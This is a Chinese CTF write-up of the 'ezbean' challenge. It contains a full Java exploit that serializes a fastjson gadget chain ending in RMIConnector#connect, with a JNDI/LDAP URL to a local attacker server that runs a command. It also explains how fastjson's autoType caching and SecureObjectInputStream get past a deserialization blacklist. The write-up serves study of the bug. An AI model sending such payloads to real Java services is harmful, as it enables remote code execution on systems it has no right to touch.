这次是赛后才复现的题,就复现了两道比较简单的,记录一下,附件传在github:
ezbean
这题还是很简单的,给了 pom
,打开一看就一个 fastjson
,然后翻文件也就一个 MyBean
,这个类存在一个getConnect
函数,已知fastjson
会在 toString
的时候自动触发所有 getter
,所以肯定是触发这里。
然后 MyBean
的 conn 属性还是 JMXConnector
类型的,自然就是 RMIConnector
类了,一个简单的利用链:
1
| BadAttributeValueExpException#readObject -> JSONArray#toString -> MyBean#getConnect -> RMIConnector#connect
|
这里首先写一个 EXP :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| package com.ctf.ezser.test;
import com.alibaba.fastjson.JSONArray; import com.alibaba.fastjson.JSONObject; import com.ctf.ezser.bean.MyBean;
import javax.management.BadAttributeValueExpException; import javax.management.remote.JMXServiceURL; import javax.management.remote.rmi.RMIConnector; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap;
public class Test { public static void main(String[] args) throws Exception { RMIConnector rmiConnector = new RMIConnector(new JMXServiceURL("service:jmx:rmi://a/jndi/ldap://127.0.0.1:1389/EL/open -a calculator"), new HashMap<>());
MyBean myBean = new MyBean("a", "b", rmiConnector);
JSONArray jsonArray = new JSONArray(); jsonArray.add(myBean);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("a"); Field val_f = badAttributeValueExpException.getClass().getDeclaredField("val"); val_f.setAccessible(true); val_f.set(badAttributeValueExpException, jsonArray); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(badAttributeValueExpException);
System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray())); } }
|
细节分析
fastjson特性分析
这里还有个细节点,如果做测试的时候本地做 readObject 的话:
会提示 RMIConnector 没有默认的 constructor,就是没有一个空参数的构造函数。
这里启动一下这道题的 Spring,然后发送exp,可以看到一样的报错:
但是如果再发送一次会发现错误变了:
然后发送第三次就已经可以执行代码了:
这里尝试分析一下:
之所以报这个找不到构造方法的类是因为在 checkAutoType 的时候尝试构建了类,
方法:
1
| com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)
|
然后里面就会去找默认的构造方法,显然是找不到的,但是为什么第二次就不报错了呢,还是在 checkAutoType 这个类中,但是在 build 上面:
上面这个函数是从 TypeUtils 的 mappings 获取类,如果获取到下面就会直接 return 了。第一次当然是空的,然后接着往下走:
这里的上面的这行代码返回的是 true,就把 autoTypeSupport 覆盖为 True 了
然后进入 TypeUtils 的 loadClass:
这个函数把这个类 put 进了 mappings 里,那么下次再执行的时候:
在此处就返回了,所以执行不到 build 处就不会报错了,然后还有个 JMXServiceURL 类也是同理。
黑名单失效
其实这道题应该是有黑名单的:
此处禁止了javax\\.management\\.remote.*
看起来应该不允许 RMIConnector ,但是好像并没有做什么特殊的绕过。
这里是因为 JSONArray 实现了 readObject 方法:
然后这个 SecureObjectInputStream 实现了 resolveClass:
就这样就直接接管了。
resolveClass 的一些测试
这里出于好奇做了一个测试,就是到底怎么做到的 resolveClass
接管,这里我新建两个类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| package com.ctf.ezser.test;
import java.io.*;
public class MyInputStream extends ObjectInputStream { public MyInputStream(InputStream in) throws IOException { super(in); } @Override protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (desc.getName().contains("testSerclass")) { throw new InvalidClassException("Unexpected serialized class", desc.getName()); } return super.resolveClass(desc); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package com.ctf.ezser.test;
import java.io.*; import java.util.ArrayList;
class MyTestObject implements Serializable { public ArrayList haihai = new ArrayList();
private void readObject(final java.io.ObjectInputStream in) throws IOException, ClassNotFoundException { SecureObjectInputStream.ensureFields(); ; new SecureObjectInputStream(in).defaultReadObject(); } }
|
haihai 里面放 testSerclass 黑名单类,然后调用的是 MyInputStream 的 readObject。
在 MyTestObject 里又有一个 SecureObjectInputStream 这里参考了 JSONObject 这个类是如何实现的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| package com.ctf.ezser.test;
import com.alibaba.fastjson.util.TypeUtils;
import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectStreamClass; import java.io.StreamCorruptedException; import java.lang.reflect.Field;
public class SecureObjectInputStream extends ObjectInputStream { static Field[] fields; public SecureObjectInputStream(ObjectInputStream in) throws IOException, IOException { super(in); try { for (int i = 0; i < fields.length; i++) { final Field field = fields[i]; final Object value = field.get(in); field.set(this, value); } } catch (IllegalAccessException e) { } } static void ensureFields() { if (fields == null) { try { final Field[] declaredFields = ObjectInputStream.class.getDeclaredFields(); String[] fieldnames = new String[]{"bin", "passHandle", "handles", "curContext"}; Field[] array = new Field[fieldnames.length]; for (int i = 0; i < fieldnames.length; i++) { Field field = TypeUtils .getField(ObjectInputStream.class , fieldnames[i] , declaredFields ); field.setAccessible(true); array[i] = field; } fields = array; } catch (Throwable error) { } } } protected void readStreamHeader() throws IOException, StreamCorruptedException {
} protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
return super.resolveClass(desc); }
}
|
简单解释一下,首先需要覆盖一个函数 readStreamHeader ,这个是必须的,这是因为在初始化的时候调用了 :
如果调用了默认的这个函数,就会报错,所以即使是 JSONObject 也对这个函数进行了覆盖。
第二点是 ensureFields 这个函数:
在默认的 defaultReadObject 这个函数就是调用的这个:
他这里分了两步骤,首先是 ensureFields 把字段获取,然后在自定义InputStream初始化的时候 set 进去了:
要我说这个其实简化一下也容易点,只需要设置上 bin 和 curContext 两个字段就好了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public SecureObjectInputStream(ObjectInputStream in) throws IOException, IOException { super(in); try { Field context_f = ObjectInputStream.class.getDeclaredField("curContext"); context_f.setAccessible(true); context_f.set(this, context_f.get(in));
Field bin_f = ObjectInputStream.class.getDeclaredField("bin"); bin_f.setAccessible(true); bin_f.set(this, bin_f.get(in)); } catch (Exception e) { throw new RuntimeException(e); } }
|
虽然这里调用了 super(in) ,但是父类的构造函数也没有设置 curContext 的,所以需要手动设置下,总之接管起来还是很麻烦的,还想着找个类似的绕过呢~